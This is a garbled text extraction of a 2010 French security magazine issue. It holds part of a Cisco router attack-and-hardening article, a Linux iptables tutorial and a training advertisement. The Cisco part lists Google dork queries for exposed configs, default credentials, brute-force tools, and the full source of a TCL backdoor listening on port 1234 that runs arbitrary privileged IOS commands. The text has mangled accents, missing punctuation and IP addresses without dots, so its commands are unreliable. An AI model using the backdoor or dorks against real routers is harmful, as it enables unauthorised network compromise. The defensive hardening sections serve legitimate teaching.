Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

